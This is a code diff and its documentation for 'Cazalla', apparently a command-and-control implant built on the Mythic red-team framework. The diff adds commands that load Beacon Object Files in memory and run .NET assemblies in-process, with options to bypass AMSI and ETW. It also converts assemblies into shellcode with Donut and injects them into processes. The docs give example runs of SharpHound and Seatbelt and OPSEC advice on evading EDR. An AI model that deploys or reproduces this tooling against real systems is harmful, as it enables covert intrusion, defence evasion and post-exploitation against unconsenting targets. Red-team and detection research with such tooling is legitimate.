response = PTRPCDynamicQueryFunctionMessageResponse()
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
CallbackID=callback.Callback,
LimitByCallback=False,
Filename="",
))
if file_resp.Success:
file_names = []
for f in file_resp.Files:
if f.Filename not in file_names and f.Filename.endswith(".exe"):
file_names.append(f.Filename)
response.Success = True
response.Choices = file_names
return response
else:
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
CallbackId=callback.Callback,
Message=f"Failed to get files: {file_resp.Error}",
MessageLevel="warning"
))
response.Error = f"Failed to get files: {file_resp.Error}"
return response
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply arguments")
raise ValueError("Must supply named arguments or use the modal")
class ExecuteAssemblyCommand(CommandBase):
cmd = "execute_assembly"
needs_admin = False
help_cmd = "execute_assembly -File [Assembly Filename] [-Arguments [optional arguments]]"
description = "Execute a .NET Assembly. Use an already uploaded assembly file or upload one with the command. (e.g., execute_assembly -File SharpUp.exe -Arguments \"audit\")"
version = 1
author = "@c0rnbread (adapted for Cazalla)"
script_only = True
attackmapping = []
argument_class = ExecuteAssemblyArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
try:
groupName = taskData.args.get_parameter_group_name()
if groupName == "New Assembly":
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("assembly_file")
))
if file_resp.Success:
if len(file_resp.Files) > 0:
pass
else:
raise Exception("Failed to find that file")
else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments")
)
taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
taskData.args.remove_arg("assembly_file")
elif groupName == "Default":
# We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=taskData.args.get_arg("assembly_name"),
LimitByCallback=False,
MaxResults=1
))
if file_resp.Success:
if len(file_resp.Files) > 0:
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
taskData.args.remove_arg("assembly_name") # Don't need this anymore
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments")
)
elif len(file_resp.Files) == 0:
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
# Get the file contents of the .NET assembly
assembly_contents = await SendMythicRPCFileGetContent(
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
)
# Try to import donut - required for execute_assembly
try:
import donut
except ImportError:
raise Exception("The 'donut' Python module is not installed. Please install it with: pip install donut-shellcode")
# Need a physical path for donut.create()
fd, temppath = tempfile.mkstemp(suffix='.exe')
logging.info(f"Writing Assembly Contents to temporary file \"{temppath}\"")
with os.fdopen(fd, 'wb') as tmp:
tmp.write(assembly_contents.Content)
# Bypass=None, ExitOption=exit process
assembly_shellcode = donut.create(file=temppath, params=taskData.args.get_arg("assembly_arguments"), bypass=1, exit_opt=2)
# Clean up temp file
os.remove(temppath)
logging.info(f"Converted .NET into Shellcode {len(assembly_shellcode)} bytes")
# .NET shellcode stub in Mythic
shellcode_file_resp = await SendMythicRPCFileCreate(
MythicRPCFileCreateMessage(TaskID=taskData.Task.ID, FileContents=assembly_shellcode, DeleteAfterFetch=True)
)
if shellcode_file_resp.Success:
shellcode_file_uuid = shellcode_file_resp.AgentFileId
else:
raise Exception("Failed to register execute_assembly binary: " + shellcode_file_resp.Error)
# Send subtask to inject shellcode
# Note: This requires an inject_shellcode command to exist
# For now, we'll just register the file and note that inject_shellcode needs to be implemented
subtask = await SendMythicRPCTaskCreateSubtask(
MythicRPCTaskCreateSubtaskMessage(
taskData.Task.ID,
CommandName="inject_shellcode",
SubtaskCallbackFunction="coff_completion_callback",
Params=json.dumps({
"shellcode_file": shellcode_file_uuid,
"method": "default"
}),
Token=taskData.Task.TokenID,
)
)
return response
except Exception as e:
raise Exception("Error from Mythic: " + str(e))
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,209 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
class InlineExecuteArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="bof_name",
cli_name="BOF",
display_name="BOF",
type=ParameterType.ChooseOne,
dynamic_query_function=self.get_files,
description="Already existing BOF to execute (e.g. whoami.x64.o)",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="Default",
ui_position=1
)
]
),
CommandParameter(
name="bof_file",
display_name="New BOF",
type=ParameterType.File,
description="A new BOF to execute. After uploading once, you can just supply the bof_name parameter",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="New",
ui_position=1,
)
]
),
CommandParameter(
name="bof_arguments",
cli_name="Arguments",
display_name="Arguments",
type=ParameterType.TypedArray,
default_value=[],
choices=["int16", "int32", "string", "wchar", "base64"],
description="""Arguments to pass to the BOF via the following way:
-s:123 or int16:123
-i:123 or int32:123
-z:hello or string:hello
-Z:hello or wchar:hello
-b:abc== or base64:abc==""",
typedarray_parse_function=self.get_arguments,
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=4
),
ParameterGroupInfo(
required=False,
group_name="New",
ui_position=4
),
]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply arguments")
raise ValueError("Must supply named arguments or use the modal")
async def parse_dictionary(self, dictionary_arguments):
# Allowed argument keys
expected_args = {"bof_arguments", "bof_file", "bof_name"}
# Check if dictionary contains only allowed keys
invalid_keys = set(dictionary_arguments.keys()) - expected_args
if invalid_keys:
raise ValueError(f"Invalid arguments provided: {', '.join(invalid_keys)}")
# Load only allowed arguments
filtered_arguments = {k: v for k, v in dictionary_arguments.items() if k in expected_args}
self.load_args_from_dictionary(filtered_arguments)
async def get_arguments(self, arguments: PTRPCTypedArrayParseFunctionMessage) -> PTRPCTypedArrayParseFunctionMessageResponse:
argumentSplitArray = []
for argValue in arguments.InputArray:
argSplitResult = argValue.split(" ")
for spaceSplitArg in argSplitResult:
argumentSplitArray.append(spaceSplitArg)
bof_arguments = []
for argument in argumentSplitArray:
if ":" not in argument:
continue
argType,value = argument.split(":",1)
value = value.strip("\'").strip("\"")
if argType == "":
pass
elif argType == "int16" or argType == "-s" or argType == "s":
bof_arguments.append(["int16", int(value)])
elif argType == "int32" or argType == "-i" or argType == "i":
bof_arguments.append(["int32", int(value)])
elif argType == "string" or argType == "-z" or argType == "z":
bof_arguments.append(["string",value])
elif argType == "wchar" or argType == "-Z" or argType == "Z":
bof_arguments.append(["wchar",value])
elif argType == "base64" or argType == "-b" or argType == "b":
bof_arguments.append(["base64",value])
else:
return PTRPCTypedArrayParseFunctionMessageResponse(Success=False,
Error=f"Failed to parse argument: {argument}: Unknown value type.")
argumentResponse = PTRPCTypedArrayParseFunctionMessageResponse(Success=True, TypedArray=bof_arguments)
return argumentResponse
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
response = PTRPCDynamicQueryFunctionMessageResponse()
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
CallbackID=callback.Callback,
LimitByCallback=False,
IsDownloadFromAgent=False,
IsScreenshot=False,
IsPayload=False,
Filename="",
))
if file_resp.Success:
file_names = []
for f in file_resp.Files:
if f.Filename not in file_names and f.Filename.endswith(".o"):
file_names.append(f.Filename)
response.Success = True
response.Choices = file_names
return response
else:
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
CallbackId=callback.Callback,
Message=f"Failed to get files: {file_resp.Error}",
MessageLevel="warning"
))
response.Error = f"Failed to get files: {file_resp.Error}"
return response
class InlineExecuteCommand(CommandBase):
cmd = "inline_execute"
needs_admin = False
help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]"
description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]"
version = 1
author = "@c0rnbread (adapted for Cazalla)"
attackmapping = []
argument_class = InlineExecuteArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=True
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
try:
groupName = taskData.args.get_parameter_group_name()
if groupName == "New":
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("bof_file")
))
if file_resp.Success:
if len(file_resp.Files) > 0:
pass
else:
raise Exception("Failed to find that file")
else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
elif groupName == "Default":
# We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=taskData.args.get_arg("bof_name"),
LimitByCallback=False,
MaxResults=1
))
if file_resp.Success:
if len(file_resp.Files) > 0:
taskData.args.add_arg("bof_file", file_resp.Files[0].AgentFileId)
taskData.args.remove_arg("bof_name") # Don't need this anymore
# Set display parameters
response.DisplayParams = "-bof_file {} -bof_arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("bof_arguments")
)
elif len(file_resp.Files) == 0:
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
except Exception as e:
raise Exception("Error from Mythic: " + str(e))
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,271 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
import logging
logging.basicConfig(level=logging.INFO)
# Wrapper function for Inline-EA
# BoF Credits: https://github.com/EricEsquivel/Inline-EA
class InlineExecuteAssemblyArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="assembly_name",
cli_name="Assembly",
display_name="Assembly",
type=ParameterType.ChooseOne,
dynamic_query_function=self.get_files,
description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="Default",
ui_position=1
)
]),
CommandParameter(
name="assembly_file",
display_name="New Assembly",
type=ParameterType.File,
description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="New Assembly",
ui_position=1,
)
]
),
CommandParameter(
name="assembly_arguments",
cli_name="Arguments",
display_name="Arguments",
type=ParameterType.String,
description="Arguments to pass to the assembly.",
default_value="",
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=2,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=2
),
],
),
CommandParameter(
name="patch_exit",
cli_name="-patchexit",
display_name="patchexit",
type=ParameterType.Boolean,
description="Patches System.Environment.Exit to prevent Beacon process from exiting",
default_value=False,
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=3,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=3
),
],
),
CommandParameter(
name="amsi",
cli_name="-amsi",
display_name="amsi",
type=ParameterType.Boolean,
description="Bypass AMSI by patching clr.dll instead of amsi.dll to avoid common detections",
default_value=False,
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=4,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=4
),
],
),
CommandParameter(
name="etw",
cli_name="-etw",
display_name="etw",
type=ParameterType.Boolean,
description="Bypass ETW by EAT Hooking advapi32.dll!EventWrite to point to a function that returns right away",
default_value=False,
parameter_group_info=[
ParameterGroupInfo(
required=False, group_name="Default", ui_position=5,
),
ParameterGroupInfo(
required=False, group_name="New Assembly", ui_position=5
),
],
),
]
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
response = PTRPCDynamicQueryFunctionMessageResponse()
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
CallbackID=callback.Callback,
LimitByCallback=False,
Filename="",
))
if file_resp.Success:
file_names = []
for f in file_resp.Files:
if f.Filename not in file_names and f.Filename.endswith(".exe"):
file_names.append(f.Filename)
response.Success = True
response.Choices = file_names
return response
else:
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
CallbackId=callback.Callback,
Message=f"Failed to get files: {file_resp.Error}",
MessageLevel="warning"
))
response.Error = f"Failed to get files: {file_resp.Error}"
return response
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply arguments")
raise ValueError("Must supply named arguments or use the modal")
class InlineExecuteAssemblyCommand(CommandBase):
cmd = "inline_execute_assembly"
needs_admin = False
help_cmd = "inline_execute_assembly -Assembly [file] [-Arguments [assembly args] [--patchexit] [--amsi] [--etw]]"
description = "Execute a .NET Assembly in the current process using @EricEsquivel's BOF \"Inline-EA\" (e.g., inline_execute_assembly -Assembly SharpUp.exe -Arguments \"audit\" --patchexit --amsi --etw)"
version = 1
author = "@c0rnbread (adapted for Cazalla)"
script_only = True
attackmapping = []
argument_class = InlineExecuteAssemblyArguments
attributes = CommandAttributes(
dependencies=["inline_execute"],
alias=True
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
try:
groupName = taskData.args.get_parameter_group_name()
if groupName == "New Assembly":
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("assembly_file")
))
if file_resp.Success:
if len(file_resp.Files) > 0:
pass
else:
raise Exception("Failed to find that file")
else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments"),
taskData.args.get_arg("patch_exit"),
taskData.args.get_arg("amsi"),
taskData.args.get_arg("etw")
)
taskData.args.add_arg("assembly_name", file_resp.Files[0].Filename)
taskData.args.remove_arg("assembly_file")
elif groupName == "Default":
# We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=taskData.args.get_arg("assembly_name"),
LimitByCallback=False,
MaxResults=1
))
if file_resp.Success:
if len(file_resp.Files) > 0:
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
taskData.args.remove_arg("assembly_name") # Don't need this anymore
# Set display parameters
response.DisplayParams = "-Assembly {} -Arguments {} --patchexit {} --amsi {} --etw {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("assembly_arguments"),
taskData.args.get_arg("patch_exit"),
taskData.args.get_arg("amsi"),
taskData.args.get_arg("etw")
)
elif len(file_resp.Files) == 0:
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
# Get the file contents of the .NET assembly ( base64 ( assembly bytes ) )
assembly_contents = await SendMythicRPCFileGetContent(
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
)
# Arguments depend on the BOF
file_name = "inline-ea.x64.o"
arguments = [
[
"bytes",
assembly_contents.Content.hex() # Raw bytes of Assembly
],
[
"int32",
len(assembly_contents.Content) # Assembly length
],
[
"wchar",
taskData.args.get_arg("assembly_arguments") # Assembly argument string
],
[
"int32",
taskData.args.get_arg("patch_exit") # BOOL
],
[
"int32",
taskData.args.get_arg("amsi") # BOOL
],
[
"int32",
taskData.args.get_arg("etw") # BOOL
]
]
# Run inline_execute subtask
subtask = await SendMythicRPCTaskCreateSubtask(
MythicRPCTaskCreateSubtaskMessage(
taskData.Task.ID,
CommandName="inline_execute",
SubtaskCallbackFunction="coff_completion_callback",
Params=json.dumps({
"bof_name": file_name,
"bof_arguments": arguments
}),
Token=taskData.Task.TokenID,
)
)
return response
except Exception as e:
raise Exception("Error from Mythic: " + str(e))
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
+4
View File
@@ -10,3 +10,7 @@ pyaml
async-timeout==4.0.3
charset_normalizer==3.3.2
pycryptodome==3.19.0
# Optional dependencies:
# donut-shellcode - Required only for execute_assembly command
# Install with: pip install donut-shellcode
@@ -38,7 +38,11 @@ commands = {
# Added Reverse Port Forward commands
"start_rpfwd": {"hex_code": 0x62, "input_type": "int"},
"stop_rpfwd": {"hex_code": 0x63, "input_type": None},
"socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente
"socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente
# BOF and Assembly execution commands
"inline_execute": {"hex_code": 0x70, "input_type": "bof_special"},
"inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"},
"execute_assembly": {"hex_code": 0x72, "input_type": "assembly_special"}
}
def responseTasking(tasks):
@@ -208,6 +212,56 @@ def responseTasking(tasks):
print(f"[TRANSLATOR] SOCKS STOP")
dataTask += len(data).to_bytes(4, "big") + data
elif commands[command_to_run]["input_type"] == "bof_special":
# inline_execute: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
file_id = parameters.get("bof_file", "")
data = command_code + task_id
# Add file_id
file_id_bytes = file_id.encode('utf-8')
data += len(file_id_bytes).to_bytes(4, "big")
data += file_id_bytes
# Add BOF arguments (serialized)
bof_args = parameters.get("bof_arguments", [])
args_str = json.dumps(bof_args) if bof_args else ""
args_bytes = args_str.encode('utf-8')
data += len(args_bytes).to_bytes(4, "big")
data += args_bytes
task_size = len(data)
dataTask += task_size.to_bytes(4, "big") + data
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_len={len(args_bytes)}")
elif commands[command_to_run]["input_type"] == "assembly_special":
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
# For inline_execute_assembly, it uses subtasks, so we might not get direct parameters
# For execute_assembly, it also uses subtasks
# These commands are handled via subtasks in Python, so they may not reach here directly
# But we'll handle them if they do
file_id = parameters.get("assembly_file", parameters.get("shellcode_file", ""))
data = command_code + task_id
# Add file_id
if file_id:
file_id_bytes = file_id.encode('utf-8')
data += len(file_id_bytes).to_bytes(4, "big")
data += file_id_bytes
else:
data += (0).to_bytes(4, "big")
# Add assembly arguments
assembly_args = parameters.get("assembly_arguments", "")
args_bytes = assembly_args.encode('utf-8') if assembly_args else b""
data += len(args_bytes).to_bytes(4, "big")
data += args_bytes
task_size = len(data)
dataTask += task_size.to_bytes(4, "big") + data
print(f"[TRANSLATOR] {command_to_run}: file_id={file_id}, args_len={len(args_bytes)}")
dataToSend = dataHead + dataTask
print(f"[TRANSLATOR] ========== responseTasking FIN ==========")
@@ -1078,10 +1078,29 @@ def postResponse(data):
# No more markers
break
try:
decoded_output = output.decode('cp850')
except Exception as e:
print(f"Fallo al decodificar la salida: {e}")
# Try to decode output - BOFs on Windows typically use Windows-1252 (cp1252) for Spanish characters
# Try Windows-1252 first (for Windows BOF output with special chars like ñ, ó, etc.)
# Then try UTF-8, then cp850 (legacy agent output), then latin-1 as last resort
decoded_output = None
for encoding in ['cp1252', 'utf-8', 'cp850', 'latin-1']:
try:
decoded_output = output.decode(encoding, errors='replace')
# If we successfully decoded with Windows-1252 or UTF-8, use it
if encoding in ['cp1252', 'utf-8']:
# Check if there are replacement characters - if too many, try next encoding
replacement_count = decoded_output.count('\ufffd')
if replacement_count == 0 or (replacement_count < len(decoded_output) * 0.01):
# Less than 1% replacement chars, probably correct encoding
break
else:
# For cp850 and latin-1, use if no replacement chars or as fallback
if '\ufffd' not in decoded_output or encoding == 'latin-1':
break
except Exception as e:
continue
if decoded_output is None:
print(f"Fallo al decodificar la salida con todas las codificaciones intentadas")
decoded_output = "[ERROR DECODIFICANDO]"
task_id_str = uuidTask.decode('cp850')
+3
View File
@@ -199,6 +199,9 @@ For more information, see the [Mythic documentation on customizing public agents
| `shell` | Execute shell command | `shell whoami` |
| `sleep` | Adjust beacon interval | `sleep {"seconds":30,"jitter":0}` |
| `exit` | Terminate the implant | `exit` |
| `inline_execute` | Execute a Beacon Object File (BOF) in the current process thread | `inline_execute -BOF whoami.x64.o -Arguments int32:1234` |
| `inline_execute_assembly` | Execute a .NET Assembly in the current process using Inline-EA BOF | `inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit --amsi --etw` |
| `execute_assembly` | Execute a .NET Assembly in a remote process and retrieve output | `execute_assembly -Assembly SharpUp.exe -Arguments "audit"` |
### System Information
+140
View File
@@ -16,6 +16,7 @@ Complete documentation for all Cazalla agent commands.
- [Token Operations](#token-operations)
- [Network Tunneling](#network-tunneling)
- [System Operations](#system-operations)
- [Code Execution](#code-execution)
- [Control Commands](#control-commands)
---
@@ -789,6 +790,145 @@ desktop-abc\administrator
---
## Code Execution
### `inline_execute` - Execute Beacon Object File (BOF)
Execute a Beacon Object File (BOF) in the current process thread and capture its output.
**Syntax:**
```
inline_execute -BOF <bof_file> [-Arguments <arguments>]
```
**Parameters:**
- `-BOF` or `bof_name` (required): Name of an already uploaded BOF file (e.g., `whoami.x64.o`)
- `bof_file` (required for new uploads): A new BOF file to upload and execute
- `-Arguments` or `bof_arguments` (optional): Arguments to pass to the BOF
**Argument Types:**
- `int16:123` or `-s:123` - 16-bit integer
- `int32:1234` or `-i:1234` - 32-bit integer
- `string:hello` or `-z:hello` - Null-terminated string
- `wchar:hello` or `-Z:hello` - Wide character string
- `base64:abc==` or `-b:abc==` - Base64-encoded binary data
**Examples:**
```
inline_execute -BOF whoami.x64.o
inline_execute -BOF listmods.x64.o -Arguments int32:1234
inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
```
**Features:**
- In-memory execution: BOFs are executed directly in the current process memory without creating new processes
- COFF loader: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution
- Beacon API compatibility: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.)
- Output capture: Automatically captures and returns BOF output
- Argument parsing: Supports multiple argument types (int16, int32, string, wchar, base64)
**Output:**
```
[inline_execute] BOF execution requested
[inline_execute] File ID: abc123...
[BOF Output]
Module Name: ntdll.dll
Base Address: 0x7ffa12340000
```
**OPSEC Considerations:**
- Process Create artifact: BOF execution creates a "Process Create" artifact that is logged
- Memory allocation: BOFs allocate executable memory which may be detected by EDR solutions
- API hooking: Some EDR solutions monitor API calls that BOFs make
- Symbol resolution: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged
- No new process: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors
**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support)
---
### `inline_execute_assembly` - Execute .NET Assembly In-Process
Execute a .NET Assembly in the current process using the Inline-EA BOF (Beacon Object File).
**Syntax:**
```
inline_execute_assembly -Assembly <assembly_file> [-Arguments <args>] [--patchexit] [--amsi] [--etw]
```
**Parameters:**
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly
- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting
- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections
- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite`
**Examples:**
```
inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit"
inline_execute_assembly -Assembly Seatbelt.exe -Arguments "all" --amsi --etw
inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit --amsi --etw
```
**Features:**
- In-process execution: Executes .NET assemblies in the current process without spawning new processes
- AMSI bypass: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll)
- ETW bypass: Optional ETW bypass via EAT hooking
- Exit patch: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent
- Output capture: Automatically captures and returns assembly output
- BOF-based: Uses the Inline-EA BOF under the hood (executed via `inline_execute`)
**OPSEC Considerations:**
- Process Create artifact: Assembly execution creates a "Process Create" artifact
- CLR loading: Loading .NET assemblies into memory may be detected by EDR solutions
- AMSI bypass: Patching clr.dll for AMSI bypass may trigger behavioral detections
- ETW bypass: EAT hooking may be detected by advanced EDR solutions
- No new process: Executes in-process, reducing some detection vectors compared to `execute_assembly`
**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support)
---
### `execute_assembly` - Execute .NET Assembly in Remote Process
Execute a .NET Assembly in a remote process and retrieve its output.
**Syntax:**
```
execute_assembly -Assembly <assembly_file> -Arguments <args>
```
**Parameters:**
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly
**Examples:**
```
execute_assembly -Assembly SharpUp.exe -Arguments "audit"
execute_assembly -Assembly Seatbelt.exe -Arguments "all"
execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local"
```
**Features:**
- Shellcode conversion: Automatically converts .NET assemblies to shellcode using Donut
- Process injection: Injects shellcode into a target process (defaults to current process)
- Output capture: Captures and returns assembly output
- No file system: Assembly is executed entirely in memory without writing to disk
**OPSEC Considerations:**
- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions
- Shellcode injection: Donut shellcode injection may trigger behavioral detections
- Process Create artifact: Creates a "Process Create" artifact
- Memory scanning: Injected shellcode may be scanned by EDR memory protection
- API monitoring: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored
- Donut detection: Donut shellcode patterns may be detected by advanced security solutions
**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process) (better OPSEC), [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support)
---
### `screenshot` - Capture Screenshot
Capture a screenshot of the primary desktop display and upload it to the Mythic server.
@@ -40,7 +40,12 @@ Complete documentation for all Cazalla agent commands, organized by category.
- [`screenshot`](screenshot.md) - Capture desktop screenshot
- [`keylog_start`](keylog_start.md) - Start keylogger
- [`keylog_stop`](keylog_stop.md) - Stop keylogger
- [`browser_info`](browser_info.md) - Identify installed browsers
## Code Execution
- [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs)
- [`inline_execute_assembly`](inline_execute_assembly.md) - Execute .NET assemblies in-process
- [`execute_assembly`](execute_assembly.md) - Execute .NET assemblies in remote processes
## Control Commands
@@ -0,0 +1,109 @@
# execute_assembly - Execute .NET Assembly in Remote Process
Execute a .NET Assembly in a remote process and retrieve its output.
## Description
The `execute_assembly` command converts a .NET assembly to shellcode using Donut and injects it into a remote process (or the current process if no target is specified). The assembly is executed in the target process and its output is captured and returned.
## Syntax
```
execute_assembly -Assembly <assembly_file> -Arguments <args>
```
## Parameters
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly
## Examples
```
# Execute assembly with arguments
execute_assembly -Assembly SharpUp.exe -Arguments "audit"
# Execute Seatbelt with all checks
execute_assembly -Assembly Seatbelt.exe -Arguments "all"
# Execute SharpHound for domain enumeration
execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local"
```
## Features
- **Shellcode Conversion**: Automatically converts .NET assemblies to shellcode using Donut
- **Process Injection**: Injects shellcode into a target process (defaults to current process)
- **Output Capture**: Captures and returns assembly output
- **No File System**: Assembly is executed entirely in memory without writing to disk
## How It Works
1. The command retrieves the .NET assembly from Mythic
2. The assembly is converted to shellcode using Donut
3. A subtask is created to call `inject_shellcode` with the generated shellcode
4. The shellcode is injected into the target process
5. The .NET assembly is loaded and executed in the target process
6. Output is captured and returned to Mythic
## Output
```
[execute_assembly] Converting .NET Assembly to Shellcode...
[execute_assembly] Shellcode generated: 123456 bytes
[execute_assembly] Injecting shellcode into process...
[Assembly Output]
